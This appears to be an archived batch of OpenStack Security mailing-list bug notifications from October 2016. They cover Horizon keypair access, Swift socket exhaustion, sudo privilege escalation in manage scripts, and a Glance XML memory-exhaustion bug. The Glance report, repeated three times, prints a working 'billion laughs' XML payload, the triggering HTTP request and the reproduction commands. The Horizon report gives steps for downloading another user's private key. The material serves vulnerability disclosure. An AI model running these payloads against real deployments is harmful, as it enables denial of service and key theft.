From 1618879 at bugs.launchpad.net  Mon Oct  3 12:02:51 2016
From: 1618879 at bugs.launchpad.net (Ihar Hrachyshka)
Date: Mon, 03 Oct 2016 12:02:51 -0000
Subject: [Openstack-security] [Bug 1618879] Re: iptables rule always be
 thrashed when update a little rule
References: <20160831130211.12061.23842.malonedeb@chaenomeles.canonical.com>
Message-ID: <20161003120253.24187.43665.launchpad@soybean.canonical.com>

** Tags added: sg-fw

** Tags added: metering

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1618879

Title:
  iptables rule always be thrashed when update a little rule

Status in neutron:
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  When update meter label or rule, iptables_manager will update iptables
  rule in router's namespace. In order to, it will clean traffic counter
  number collected in interval time, the other iptables always trashing
  that will clean old iptalbes rule and generate new same significance
  iptables rule.

  the example from update meter label:
   
  Generated by iptables_manager
  *filter
  :neutron-meter-neutron-met - [0:0]
  :neutron-meter-r-00599199-632 - [0:0]
  -I FORWARD 2 -j neutron-meter-FORWARD
  -D FORWARD 4
  -I INPUT 1 -j neutron-meter-INPUT
  -D INPUT 3
  -I OUTPUT 2 -j neutron-meter-OUTPUT
  -D OUTPUT 4
  -I neutron-filter-top 1 -j neutron-meter-local
  -D neutron-filter-top 3
  -D neutron-meter-l-00e4e019-099 1
  -I neutron-meter-l-00e4e019-099 1
  -D neutron-meter-l-01e4e019-099 1
  -I neutron-meter-l-01e4e019-099 1
  -I neutron-meter-r-00599199-632 1 -i qg-f0732f6f-8e -d 192.168.10.0/24 -j neutron-meter-l-00599199-632
  COMMIT
  # Completed by iptables_manager
  # Generated by iptables_manager
  *raw
  -I OUTPUT 1 -j neutron-meter-OUTPUT
  -D OUTPUT 3
  -I PREROUTING 1 -j neutron-meter-PREROUTING
  -D PREROUTING 3
  COMMIT
  # Completed by iptables_manager

To manage notifications about this bug go to:
https://bugs.launchpad.net/neutron/+bug/1618879/+subscriptions



From lbragstad at gmail.com  Mon Oct  3 19:37:32 2016
From: lbragstad at gmail.com (Lance Bragstad)
Date: Mon, 03 Oct 2016 19:37:32 -0000
Subject: [Openstack-security] [Bug 1625619] Re: It is possible to download
 key pair for other user at the same project
References: <20160920124156.32348.22876.malonedeb@wampee.canonical.com>
Message-ID: <20161003193732.27992.39122.malone@gac.canonical.com>

Based on the comments above, specifically comment #10, I think we can
mark this as Invalid from a keystone perspective. If future information
proves otherwise - we can reopen.

** Changed in: keystone
       Status: New => Incomplete

** Changed in: keystone
       Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1625619

Title:
  It is possible to download key pair for other user at the same project

Status in OpenStack Dashboard (Horizon):
  New
Status in OpenStack Identity (keystone):
  Invalid
Status in OpenStack Compute (nova):
  Invalid
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  Bug was reproduced in mitaka openstack release.

  Steps to reproduce:

  1. Login to horizon.
  2. Click Project-> Compute -> Access and Security
  3. Click "Key Pairs" tab
  4. Click "Create Key Pair" button, enter keypair name.
  5. On the next screen with download key dialog copy URL from browser URL field

  URL will be like
  http://server/horizon/project/access_and_security/keypairs/<my key
  pair name>/download

  6. Click cancel to close download window.
  7. Click Project->Compute->Instances.
  8. In opened window select other key pair name from KEY PAIR column (it could be key pair for different user)
  9. open new browser window, paste URL string from step 5.
  10. Change in URL <my key pair name> with name obtained from step 8 and press enter

  You will be prompted to download private key for other user.

  It isn't correct user should be able to download only his own keys

To manage notifications about this bug go to:
https://bugs.launchpad.net/horizon/+bug/1625619/+subscriptions



From tdecacqu at redhat.com  Wed Oct  5 07:12:53 2016
From: tdecacqu at redhat.com (Tristan Cacqueray)
Date: Wed, 05 Oct 2016 07:12:53 -0000
Subject: [Openstack-security] [Bug 1572719] Re: Client may hold socket open
	after ChunkWriteTimeout
References: <20160420203849.17438.29709.malonedeb@soybean.canonical.com>
Message-ID: <20161005071253.6941.45464.malone@chaenomeles.canonical.com>

I was able to reproduce that issue on Mitaka (openstack-
swift-2.7.0-2.el7.noarch and python2-eventlet-0.17.4-4.el7.noarch) using
python socket module to open many GET connections without consuming the
response.

Extracts from swift logs:
proxy-server[14729]: ERROR with Object server 192.168.240.13:6000/swiftloopback re: Trying to GET /v1/AUTH_e90d6d7d952f4a6d9933047b461015ff/test/large_file: Timeout (10.0s) (txn: tx706ead3ee0d64af2ba382-0057f4691c)
proxy-server[14729]: Object GET returning 503 for [] (txn: tx706ead3ee0d64af2ba382-0057f4691c) (client_ip: 192.168.240.14)

After enough connections have failed with this 503 errors (about 8000
for my all-in-one instance), all swift proxy-server processes are
unresponsive until the offending client is terminated, or the service
restarted.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1572719

Title:
  Client may hold socket open after ChunkWriteTimeout

Status in OpenStack Security Advisory:
  Incomplete
Status in OpenStack Object Storage (swift):
  New

Bug description:
  You can reproduce this by issuing a GET request for a few hundred MB
  file and never consuming the response, but keep the client socket
  open. Swift will log a 499 but the socket does not always close.

  ChunkWriteTimeout is meant to protect the proxy from a slow reading client:
    https://github.com/openstack/swift/blob/master/swift/proxy/controllers/base.py#L889-L905

  Sometimes when this exception is thrown there is still data in the process socket buffer, so when eventlet tries to close the socket it first flushes it:
    https://github.com/eventlet/eventlet/blob/master/eventlet/wsgi.py#L631
    https://hg.python.org/cpython/file/v2.7.11/Lib/SocketServer.py#l711

  The problem is that if the client is not consuming the socket buffer
  then that flush will wait forever; it's trying to write on a socket
  that just threw a timeout trying to write! The flush write is not
  protected by any timeout.

  As far as I can tell, this WRITE_TIMEOUT does nothing:
    https://github.com/openstack/swift/blob/master/swift/common/wsgi.py#L407

  wsgi.server() takes a socket_timeout that might be what we're after?
    https://github.com/openstack/swift/blob/master/swift/common/wsgi.py#L437-L440

  Even with socket_timeout, eventlet needs to be patched. This should be in a finally block:
    https://github.com/eventlet/eventlet/blob/master/eventlet/wsgi.py#L636-L637

  All of this is probably mitigated by most operators setting an idle
  timeout in their load balancers, but I wanted to report it. Going
  directly to a proxy I was able to hold sockets open for long periods
  of time.

  I did the initial research on version 2.2.2 but I was able to
  reproduce on 2.7.0. I'm trying to translate links to master branch on
  github. I apologize in advance if it's not quite right.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ossa/+bug/1572719/+subscriptions



From 1611171 at bugs.launchpad.net  Thu Oct  6 14:05:41 2016
From: 1611171 at bugs.launchpad.net (OpenStack Infra)
Date: Thu, 06 Oct 2016 14:05:41 -0000
Subject: [Openstack-security] [Bug 1611171] Re: re-runs self via sudo
References: <20160809015520.22289.87995.malonedeb@soybean.canonical.com>
Message-ID: <20161006140542.23001.55969.malone@soybean.canonical.com>

Reviewed:  https://review.openstack.org/371915
Committed: https://git.openstack.org/cgit/openstack/cinder/commit/?id=a2839788e4ff74aa083c71c35755bc80579f17bb
Submitter: Jenkins
Branch:    master

commit a2839788e4ff74aa083c71c35755bc80579f17bb
Author: pallavi <pallavi.s at nectechnologies.in>
Date:   Sat Sep 17 16:28:24 2016 +0530

    Don't attempt to escalate cinder-manage privileges
    
    Remove code which allowed cinder-manage to attempt to escalate
    privileges so that configuration files can be read by users who
    normally wouldn't have access, but do have sudo access.
    
    Change-Id: Ibdfe5dfbe27856689408987f62d145dfd380fb90
    Closes-Bug: 1611171


** Changed in: cinder
       Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1611171

Title:
  re-runs self via sudo

Status in Cinder:
  Fix Released
Status in Designate:
  In Progress
Status in ec2-api:
  In Progress
Status in gce-api:
  In Progress
Status in Manila:
  In Progress
Status in masakari:
  Fix Released
Status in OpenStack Compute (nova):
  In Progress
Status in OpenStack Security Advisory:
  Won't Fix
Status in Rally:
  In Progress

Bug description:
  Hello, I'm looking through Designate source code to determine if is
  appropriate to include in Ubuntu Main. This isn't a full security
  audit.

  This looks like trouble:

  ./designate/cmd/manage.py

  def main():
      CONF.register_cli_opt(category_opt)

      try:
          utils.read_config('designate', sys.argv)
          logging.setup(CONF, 'designate')
      except cfg.ConfigFilesNotFoundError:
          cfgfile = CONF.config_file[-1] if CONF.config_file else None
          if cfgfile and not os.access(cfgfile, os.R_OK):
              st = os.stat(cfgfile)
              print(_("Could not read %s. Re-running with sudo") % cfgfile)
              try:
                  os.execvp('sudo', ['sudo', '-u', '#%s' % st.st_uid] + sys.argv)
              except Exception:
                  print(_('sudo failed, continuing as if nothing happened'))

          print(_('Please re-run designate-manage as root.'))
          sys.exit(2)

  
  This is an interesting decision -- if the configuration file is _not_ readable by the user in question, give the executing user complete privileges of the user that owns the unreadable file.

  I'm not a fan of hiding privilege escalation / modifications in
  programs -- if a user had recently used sudo and thus had the
  authentication token already stored for their terminal, this 'hidden'
  use of sudo may be unexpected and unwelcome, especially since it
  appears that argv from the first call leaks through to the sudo call.

  Is this intentional OpenStack style? Or unexpected for you guys too?

  (Feel free to make this public at your convenience.)

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/1611171/+subscriptions



From charles.neill at rackspace.com  Thu Oct  6 20:21:10 2016
From: charles.neill at rackspace.com (Charles Neill)
Date: Thu, 06 Oct 2016 20:21:10 -0000
Subject: [Openstack-security] [Bug 1625402] Re: Authenticated "Billion
 laughs" memory exhaustion / DoS vulnerability in ovf_process.py
References: <20160920002310.32086.46442.malonedeb@wampee.canonical.com>
Message-ID: <20161006202111.32179.55904.malone@gac.canonical.com>

This bug involving tasks and "qemu-img" [1] seems to have been assigned
a CVE and resulted in an OSSA. Curious what the difference is when both
of these are resource exhaustion attacks achieved through the Glance
tasks API. It was marked as "Critical" for Mitaka in that case.

[1]: https://bugs.launchpad.net/ossa/+bug/1449062

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1625402

Title:
  Authenticated "Billion laughs" memory exhaustion / DoS vulnerability
  in ovf_process.py

Status in Glance:
  Opinion
Status in OpenStack Security Advisory:
  Opinion

Bug description:
  Creating a task to import an OVA file with a malicious OVF file inside
  it will result in significant memory usage by the glance-api process.

  This is caused by the use of the xml.etree module in ovf_process.py
  [1] [2] to process OVF images extracted from OVA files with
  ET.iterparse(). No validation is currently performed on the XML prior
  to parsing.

  As outlined in the Python documentation, xml.etree is vulnerable to
  the "billion laughs" vulnerability when parsing untrusted input [3]

  Note: if using a devstack instance, you will need to edit the
  "work_dir" variable in /etc/glance/glance-api.conf to point to a real
  folder.

  -----------------------------------------
  Example request
  -----------------------------------------

  POST /v2/tasks HTTP/1.1
  Host: localhost:1338
  Connection: close
  Accept-Encoding: gzip, deflate
  Accept: application/json
  User-Agent: python-requests/2.11.1
  Content-Type: application/json
  X-Auth-Token: [ADMIN TOKEN]
  Content-Length: 287

  {
      "type": "import",
      "input": {
          "import_from": "http://127.0.0.1:9090/laugh.ova",
          "import_from_format": "raw",
          "image_properties": {
              "disk_format": "raw",
              "container_format": "ova",
       "name": "laugh"
          }
      }
  }

  -----------------------------------------
  Creating the malicious OVA/OVF
  -----------------------------------------

  "laugh.ova" can be created like so:

  1. Copy this into a file called "laugh.ovf":
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
   <!ENTITY lol "lol">
   <!ELEMENT lolz (#PCDATA)>
   <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
   <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
   <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
  ]>
  <lolz>&lol10;</lolz>

  2. Create the OVA file (tarball) with the "tar" utility:

      $ tar -cf laugh.ova.tar laugh.ovf && mv laugh.ova.tar laugh.ova

  3. (Optional) If you want to serve this from your devstack instance
  (as in the request above), run this in the folder where you created
  the OVA file:

      $ python -m SimpleHTTPServer 9090

  -----------------------------------------
  Performance impact
  -----------------------------------------
  Profiling my VM from a fresh boot:

  $ vboxmanage metrics query [VM NAME] Guest/RAM/Usage/Free,Guest/Pagefile/Usage/Total,Guest/CPU/Load/User:avg
  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 13.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 2456680 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting this task twice (repeating calls to the above
  command):

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1989684 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 88.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1694080 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 83.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1426876 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 79.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1181248 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 85.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 817244 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 548636 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 74.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 118932 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting enough of these requests at once, glance-api runs out
  of memory and can't restart itself. Here's what the log looks like
  after the "killer request" [4]

  -----------------------------------------
  Mitigation
  -----------------------------------------

  Any instances of xml.etree should be replaced with their equivalent in
  a secure XML parsing library like defusedxml [5]

  1: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L21-L24
  2: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L184
  3: https://docs.python.org/2/library/xml.html#xml-vulnerabilities
  4: https://gist.github.com/cneill/5265d887e0125c0e20254282a6d8ae64
  5: https://pypi.python.org/pypi/defusedxml

  -----------------------------------------
  Other
  -----------------------------------------
  Thanks to Rahul Nair from the OpenStack Security Project for bringing the ovf_process file to my attention in the first place. We are testing Glance for security defects as part of OSIC, using our API security testing tool called Syntribos (https://github.com/openstack/syntribos), and Bandit (which was used to discover this issue).

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1625402/+subscriptions



From fungi at yuggoth.org  Thu Oct  6 20:59:03 2016
From: fungi at yuggoth.org (Jeremy Stanley)
Date: Thu, 06 Oct 2016 20:59:03 -0000
Subject: [Openstack-security] [Bug 1625402] Re: Authenticated "Billion
 laughs" memory exhaustion / DoS vulnerability in ovf_process.py
References: <20160920002310.32086.46442.malonedeb@wampee.canonical.com>
Message-ID: <20161006205903.2596.82091.malone@wampee.canonical.com>

To a great extent this is determined by how fixable it is. If there are
patches proposed which can non-disruptively mitigate this behavior in
all supported stable branches of Glance, and if the Glance core
reviewers and stable branch managers agree on the approach, the VMT may
issue a security advisory. If not, something like this generally gets
documented with a security note instead.

The bug for OSSA 2016-012 was being tracked primarily as a risk in Nova
with functions that were not (nor intended to be) limited strictly to
admins, but when similar behavior was found duplicated in Cinder and
Glance the patches for Nova were ported to them for completeness and
they were included in the advisory.

As to the Hemanth's choice of high/critical importance on the Glance
bugtasks he added, I can only assume he was using them to indicate how
soon he intended to push the patches through. I don't generally expect
those to reflect the severity of a bug, but rather represent personal
workflow. Different developer teams have different policies for their
task tracking metadata however, so I won't presume to speak for Hemanth
or the Glance team in this regard.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1625402

Title:
  Authenticated "Billion laughs" memory exhaustion / DoS vulnerability
  in ovf_process.py

Status in Glance:
  Opinion
Status in OpenStack Security Advisory:
  Opinion

Bug description:
  Creating a task to import an OVA file with a malicious OVF file inside
  it will result in significant memory usage by the glance-api process.

  This is caused by the use of the xml.etree module in ovf_process.py
  [1] [2] to process OVF images extracted from OVA files with
  ET.iterparse(). No validation is currently performed on the XML prior
  to parsing.

  As outlined in the Python documentation, xml.etree is vulnerable to
  the "billion laughs" vulnerability when parsing untrusted input [3]

  Note: if using a devstack instance, you will need to edit the
  "work_dir" variable in /etc/glance/glance-api.conf to point to a real
  folder.

  -----------------------------------------
  Example request
  -----------------------------------------

  POST /v2/tasks HTTP/1.1
  Host: localhost:1338
  Connection: close
  Accept-Encoding: gzip, deflate
  Accept: application/json
  User-Agent: python-requests/2.11.1
  Content-Type: application/json
  X-Auth-Token: [ADMIN TOKEN]
  Content-Length: 287

  {
      "type": "import",
      "input": {
          "import_from": "http://127.0.0.1:9090/laugh.ova",
          "import_from_format": "raw",
          "image_properties": {
              "disk_format": "raw",
              "container_format": "ova",
       "name": "laugh"
          }
      }
  }

  -----------------------------------------
  Creating the malicious OVA/OVF
  -----------------------------------------

  "laugh.ova" can be created like so:

  1. Copy this into a file called "laugh.ovf":
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
   <!ENTITY lol "lol">
   <!ELEMENT lolz (#PCDATA)>
   <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
   <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
   <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
  ]>
  <lolz>&lol10;</lolz>

  2. Create the OVA file (tarball) with the "tar" utility:

      $ tar -cf laugh.ova.tar laugh.ovf && mv laugh.ova.tar laugh.ova

  3. (Optional) If you want to serve this from your devstack instance
  (as in the request above), run this in the folder where you created
  the OVA file:

      $ python -m SimpleHTTPServer 9090

  -----------------------------------------
  Performance impact
  -----------------------------------------
  Profiling my VM from a fresh boot:

  $ vboxmanage metrics query [VM NAME] Guest/RAM/Usage/Free,Guest/Pagefile/Usage/Total,Guest/CPU/Load/User:avg
  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 13.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 2456680 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting this task twice (repeating calls to the above
  command):

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1989684 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 88.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1694080 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 83.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1426876 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 79.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1181248 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 85.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 817244 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 548636 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 74.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 118932 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting enough of these requests at once, glance-api runs out
  of memory and can't restart itself. Here's what the log looks like
  after the "killer request" [4]

  -----------------------------------------
  Mitigation
  -----------------------------------------

  Any instances of xml.etree should be replaced with their equivalent in
  a secure XML parsing library like defusedxml [5]

  1: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L21-L24
  2: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L184
  3: https://docs.python.org/2/library/xml.html#xml-vulnerabilities
  4: https://gist.github.com/cneill/5265d887e0125c0e20254282a6d8ae64
  5: https://pypi.python.org/pypi/defusedxml

  -----------------------------------------
  Other
  -----------------------------------------
  Thanks to Rahul Nair from the OpenStack Security Project for bringing the ovf_process file to my attention in the first place. We are testing Glance for security defects as part of OSIC, using our API security testing tool called Syntribos (https://github.com/openstack/syntribos), and Bandit (which was used to discover this issue).

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1625402/+subscriptions



From charles.neill at rackspace.com  Fri Oct  7 16:53:56 2016
From: charles.neill at rackspace.com (Charles Neill)
Date: Fri, 07 Oct 2016 16:53:56 -0000
Subject: [Openstack-security] [Bug 1625402] Re: Authenticated "Billion
 laughs" memory exhaustion / DoS vulnerability in ovf_process.py
References: <20160920002310.32086.46442.malonedeb@wampee.canonical.com>
Message-ID: <20161007165356.19954.59180.malone@wampee.canonical.com>

Thanks for your responses, Brian & Jeremy. I think I have a much better
idea of the factors that determine risk/response from an OpenStack
perspective after participating in this thread, and will keep them in
mind for future bugs. Cheers!

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1625402

Title:
  Authenticated "Billion laughs" memory exhaustion / DoS vulnerability
  in ovf_process.py

Status in Glance:
  Opinion
Status in OpenStack Security Advisory:
  Opinion

Bug description:
  Creating a task to import an OVA file with a malicious OVF file inside
  it will result in significant memory usage by the glance-api process.

  This is caused by the use of the xml.etree module in ovf_process.py
  [1] [2] to process OVF images extracted from OVA files with
  ET.iterparse(). No validation is currently performed on the XML prior
  to parsing.

  As outlined in the Python documentation, xml.etree is vulnerable to
  the "billion laughs" vulnerability when parsing untrusted input [3]

  Note: if using a devstack instance, you will need to edit the
  "work_dir" variable in /etc/glance/glance-api.conf to point to a real
  folder.

  -----------------------------------------
  Example request
  -----------------------------------------

  POST /v2/tasks HTTP/1.1
  Host: localhost:1338
  Connection: close
  Accept-Encoding: gzip, deflate
  Accept: application/json
  User-Agent: python-requests/2.11.1
  Content-Type: application/json
  X-Auth-Token: [ADMIN TOKEN]
  Content-Length: 287

  {
      "type": "import",
      "input": {
          "import_from": "http://127.0.0.1:9090/laugh.ova",
          "import_from_format": "raw",
          "image_properties": {
              "disk_format": "raw",
              "container_format": "ova",
       "name": "laugh"
          }
      }
  }

  -----------------------------------------
  Creating the malicious OVA/OVF
  -----------------------------------------

  "laugh.ova" can be created like so:

  1. Copy this into a file called "laugh.ovf":
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
   <!ENTITY lol "lol">
   <!ELEMENT lolz (#PCDATA)>
   <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
   <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
   <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
  ]>
  <lolz>&lol10;</lolz>

  2. Create the OVA file (tarball) with the "tar" utility:

      $ tar -cf laugh.ova.tar laugh.ovf && mv laugh.ova.tar laugh.ova

  3. (Optional) If you want to serve this from your devstack instance
  (as in the request above), run this in the folder where you created
  the OVA file:

      $ python -m SimpleHTTPServer 9090

  -----------------------------------------
  Performance impact
  -----------------------------------------
  Profiling my VM from a fresh boot:

  $ vboxmanage metrics query [VM NAME] Guest/RAM/Usage/Free,Guest/Pagefile/Usage/Total,Guest/CPU/Load/User:avg
  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 13.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 2456680 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting this task twice (repeating calls to the above
  command):

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1989684 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 88.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1694080 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 83.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1426876 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
